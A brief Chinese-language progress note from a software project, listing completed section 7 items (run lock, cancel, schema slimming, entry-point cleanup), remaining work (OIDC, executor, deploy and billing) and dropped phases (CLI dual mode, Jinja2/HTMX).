§7 B + D + D' + 单活 run 锁 + cancel + 0004 schema 瘦身 + 入口归位 主体已完工。剩余:真 OIDC → C(Executor)→ F(deploy / billing)。§7 E CLI 双模式撤;Phase G Jinja2/HTMX 撤(详见 DESIGN §7.9)。